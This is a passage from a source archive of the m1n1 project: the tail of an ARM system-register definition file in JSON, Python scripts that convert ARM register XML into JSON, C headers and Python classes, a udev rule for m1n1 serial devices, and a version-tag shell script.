"ExT", "msb": 12, "lsb": 12}, {"name": "FS", "msb": 10, "lsb": 10}, {"name": "LPAE", "msb": 9, "lsb": 9}, {"name": "FS[3:0]", "msb": 3, "lsb": 0}]}, {"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "AET", "msb": 15, "lsb": 14}, {"name": "ExT", "msb": 12, "lsb": 12}, {"name": "LPAE", "msb": 9, "lsb": 9}, {"name": "STATUS", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPIDR_EL1", "fullname": "Virtualization Multiprocessor ID Register", "enc": [3, 0, 0, 0, 5], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Aff3", "msb": 39, "lsb": 32}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "MT", "msb": 24, "lsb": 24}, {"name": "Aff2", "msb": 23, "lsb": 16}, {"name": "Aff1", "msb": 15, "lsb": 8}, {"name": "Aff0", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VMPIDR_EL2", "fullname": "Virtualization Multiprocessor ID Register", "enc": [3, 4, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Aff3", "msb": 39, "lsb": 32}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "MT", "msb": 24, "lsb": 24}, {"name": "Aff2", "msb": 23, "lsb": 16}, {"name": "Aff1", "msb": 15, "lsb": 8}, {"name": "Aff0", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VNCR_EL2", "fullname": "Virtual Nested Control Register", "enc": [3, 4, 2, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS", "msb": 63, "lsb": 53}, {"name": "BADDR", "msb": 52, "lsb": 12}]}], "width": 64}, {"index": 0, "name": "MIDR_EL1", "fullname": "Virtualization Processor ID Register", "enc": [3, 0, 0, 0, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Implementer", "msb": 31, "lsb": 24}, {"name": "Variant", "msb": 23, "lsb": 20}, {"name": "Architecture", "msb": 19, "lsb": 16}, {"name": "PartNum", "msb": 15, "lsb": 4}, {"name": "Revision", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VPIDR_EL2", "fullname": "Virtualization Processor ID Register", "enc": [3, 4, 0, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Implementer", "msb": 31, "lsb": 24}, {"name": "Variant", "msb": 23, "lsb": 20}, {"name": "Architecture", "msb": 19, "lsb": 16}, {"name": "PartNum", "msb": 15, "lsb": 4}, {"name": "Revision", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VSESR_EL2", "fullname": "Virtual SError Exception Syndrome Register", "enc": [3, 4, 5, 2, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "AET", "msb": 15, "lsb": 14}, {"name": "ExT", "msb": 12, "lsb": 12}]}, {"fields": [{"name": "IDS", "msb": 24, "lsb": 24}, {"name": "ISS", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VSTCR_EL2", "fullname": "Virtualization Secure Translation Control Register", "enc": [3, 4, 2, 6, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "Profile(A)", "fields": [{"name": "SL2", "msb": 33, "lsb": 33}, {"name": "SA", "msb": 30, "lsb": 30}, {"name": "SW", "msb": 29, "lsb": 29}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SL0", "msb": 7, "lsb": 6}, {"name": "SL0", "msb": 7, "lsb": 6}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VSTTBR_EL2", "fullname": "Virtualization Secure Translation Table Base Register", "enc": [3, 4, 2, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BADDR", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VTCR_EL2", "fullname": "Virtualization Translation Control Register", "enc": [3, 4, 2, 1, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "Profile(A)", "fields": [{"name": "SL2", "msb": 33, "lsb": 33}, {"name": "DS", "msb": 32, "lsb": 32}, {"name": "NSA", "msb": 30, "lsb": 30}, {"name": "NSW", "msb": 29, "lsb": 29}, {"name": "HWU62", "msb": 28, "lsb": 28}, {"name": "HWU61", "msb": 27, "lsb": 27}, {"name": "HWU60", "msb": 26, "lsb": 26}, {"name": "HWU59", "msb": 25, "lsb": 25}, {"name": "HD", "msb": 22, "lsb": 22}, {"name": "HA", "msb": 21, "lsb": 21}, {"name": "VS", "msb": 19, "lsb": 19}, {"name": "PS", "msb": 18, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "SL0", "msb": 7, "lsb": 6}, {"name": "SL0", "msb": 7, "lsb": 6}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VTTBR_EL2", "fullname": "Virtualization Translation Table Base Register", "enc": [3, 4, 2, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "VMID", "msb": 63, "lsb": 48}, {"name": "BADDR", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ZCR_EL1", "fullname": "SVE Control Register (EL1)", "enc": [3, 0, 1, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "LEN", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ZCR_EL12", "fullname": "SVE Control Register (EL1)", "enc": [3, 5, 1, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "LEN", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ZCR_EL1", "fullname": "SVE Control Register (EL2)", "enc": [3, 0, 1, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "LEN", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ZCR_EL2", "fullname": "SVE Control Register (EL2)", "enc": [3, 4, 1, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "LEN", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ZCR_EL3", "fullname": "SVE Control Register (EL3)", "enc": [3, 6, 1, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "LEN", "msb": 3, "lsb": 0}]}], "width": 64}]m1n1-1.4.11/tools/gen_reg_class.py000066400000000000000000000014161453754430200166700ustar00rootroot00000000000000import json, sys import argparse parser = argparse.ArgumentParser() parser.add_argument("regfile") args = parser.parse_args() data = json.load(open(args.regfile)) for reg in data: name = reg['name'] if name[-4:-1] == "_EL": name = name[:-4] if not reg.get("fieldsets", []): continue print(f"# {reg['name']}") print(f"class {name}(Register64):") for fieldset in reg.get("fieldsets", []): if "instance" in fieldset: print(f"# {fieldset['instance']}") for f in fieldset["fields"]: fname = f["name"] msb, lsb = f["msb"], f["lsb"] if msb == lsb: print(f" {fname} = {lsb}") else: print(f" {fname} = {msb}, {lsb}") print() m1n1-1.4.11/tools/gen_reg_include.py000066400000000000000000000016201453754430200172030ustar00rootroot00000000000000import json, sys import argparse parser = argparse.ArgumentParser() parser.add_argument("--imp-apl-prefix", action="store_true") parser.add_argument("regfile") args = parser.parse_args() if args.imp_apl_prefix: prefix = "IMP_APL_" else: prefix = "" data = json.load(open(args.regfile)) for reg in data: name = reg['name'] print(f"#define SYS_{prefix}{name} sys_reg({', '.join(str(i) for i in reg['enc'])})") if name[-4:-1] == "_EL": name = name[:-4] for fieldset in reg.get("fieldsets", []): if "instance" in fieldset: print(f"// {fieldset['instance']}") for f in fieldset["fields"]: fname = f["name"] msb, lsb = f["msb"], f["lsb"] if msb == lsb: print(f"#define {name}_{fname} BIT({lsb})") else: print(f"#define {name}_{fname} GENMASK({msb}, {lsb})") print() m1n1-1.4.11/tools/reg2json.py000066400000000000000000000075171453754430200156360ustar00rootroot00000000000000import sys, re, json from xml.etree import ElementTree def insert_n(s, nb): sout = "" def sub(g): if g.group(2): a, b = int(g.group(1)), int(g.group(2)[1:]) return nb[-a - 1:-b or None] else: a = int(g.group(1)) return nb[-a - 1] s = re.sub(r'n\[(\d+)(:\d+)?\]', sub, s) s = "".join(s.split(":")) return int(s.replace("0b", ""), 2) def parse_one(regs, xml): t = ElementTree.parse(xml) for reg in t.findall('registers/register'): data = {} name = reg.find('reg_short_name').text fullname = reg.find('reg_long_name').text if name.startswith("S3_") or name.startswith("SYS S1_"): continue array = reg.find('reg_array') start = end = 0 if array: start = int(array.find("reg_array_start").text) end = int(array.find("reg_array_end").text) encs = {} accessors = {} for am in reg.findall('access_mechanisms/access_mechanism'): accessor = am.attrib["accessor"] if accessor.startswith("MSRimmediate"): continue ins = am.find("encoding/access_instruction").text.split(" ")[0] regname = accessor.split(" ", 1)[1] enc = {} for e in am.findall("encoding/enc"): enc[e.attrib["n"]] = e.attrib["v"] enc = enc["op0"], enc["op1"], enc["CRn"], enc["CRm"], enc["op2"] if regname in encs: assert encs[regname] == enc encs[regname] = enc accessors.setdefault(regname, set()).add(ins) if not encs: continue fieldsets = [] width = None for fields_elem in reg.findall('reg_fieldsets/fields'): fieldset = {} if (instance_elem := fields_elem.find('fields_instance')) is not None: fieldset["instance"] = instance_elem.text fields = [] set_width = int(fields_elem.attrib["length"]) if width is None: width = set_width else: assert width == set_width single_field = False for f in fields_elem.findall('field'): if f.attrib.get("rwtype", None) in ("RES0", "RES1", "RAZ", "RAZ/WI", "RAO/WI", "UNKNOWN"): continue msb, lsb = int(f.find('field_msb').text), int(f.find('field_lsb').text) assert not single_field if msb == width - 1 and lsb == 0: continue if (name_elem := f.find('field_name')) is not None: name = name_elem.text else: assert not fields continue field = { "name": name, "msb": msb, "lsb": lsb, } fields.append(field) fields.sort(key=lambda x: x["lsb"], reverse=True) fieldset["fields"] = fields fieldsets.append(fieldset) for idx, n in enumerate(range(start, end + 1)): nb = "{0:064b}".format(n)[::-1] for name, enc in sorted(encs.items()): enc = tuple(insert_n(i, nb) for i in enc) data = { "index": idx, "name": name.replace("", "%d" % n), "fullname": fullname, "enc": enc, "accessors": sorted(list(accessors[name])), "fieldsets": fieldsets, } if width is not None: data["width"] = width yield data if __name__ == "__main__": regs = [] for i in sys.argv[1:]: regs.extend(parse_one(regs, i)) json.dump(regs, sys.stdout) m1n1-1.4.11/tools/reg_filter.py000066400000000000000000000015341453754430200162200ustar00rootroot00000000000000import json, sys, re, math import argparse parser = argparse.ArgumentParser() parser.add_argument("regfile") args = parser.parse_args() data = json.load(open(args.regfile)) name_map = {} for reg in data: name = reg['name'] enc = reg['enc'] name_map[f"s{enc[0]}_{enc[1]}_c{enc[2]}_c{enc[3]}_{enc[4]}"] = name def reg_lookup(m): s = m.group(0) return name_map.get(s, s) def hex_parse(m): v = int(m.group(0), 0) if v and (v & (v - 1)) == 0: bit = int(math.log2(v)) return f"BIT({bit})" v ^= 0xffff_ffff_ffff_ffff if v and (v & (v - 1)) == 0: bit = int(math.log2(v)) return f"~BIT({bit})" return m.group(0) for line in sys.stdin: line = re.sub(r"s(\d+)_(\d+)_c(\d+)_c(\d+)_(\d+)", reg_lookup, line) line = re.sub(r"\b0x[0-9a-f]+\b", hex_parse, line) sys.stdout.write(line) m1n1-1.4.11/udev/000077500000000000000000000000001453754430200133245ustar00rootroot00000000000000m1n1-1.4.11/udev/80-m1n1.rules000066400000000000000000000004531453754430200154030ustar00rootroot00000000000000SUBSYSTEM=="tty", ATTRS{idVendor}=="1209", ATTRS{idProduct}=="316d", GOTO="m1n1" GOTO="not_m1n1" LABEL="m1n1" SUBSYSTEM=="tty", ATTRS{bInterfaceNumber}=="00", KERNEL=="ttyACM*", SYMLINK+="m1n1" SUBSYSTEM=="tty", ATTRS{bInterfaceNumber}=="02", KERNEL=="ttyACM*", SYMLINK+="m1n1-sec" LABEL="not_m1n1" m1n1-1.4.11/version.sh000077500000000000000000000006351453754430200144110ustar00rootroot00000000000000#!/bin/sh cd "$(dirname "$0")" dirbase="$(basename "$(pwd)")" if [ -n "$M1N1_VERSION_TAG" ]; then version="$M1N1_VERSION_TAG" elif [ -e ".git" ]; then version="$(git describe --tags --always --dirty)" elif [ "$(echo "${dirbase}" | cut -c1-5)" = "m1n1-" ]; then version=$(echo "${dirbase}" | cut -c6-) version="v${version##v}" else version="unknown" fi echo "#define BUILD_TAG \"$version\""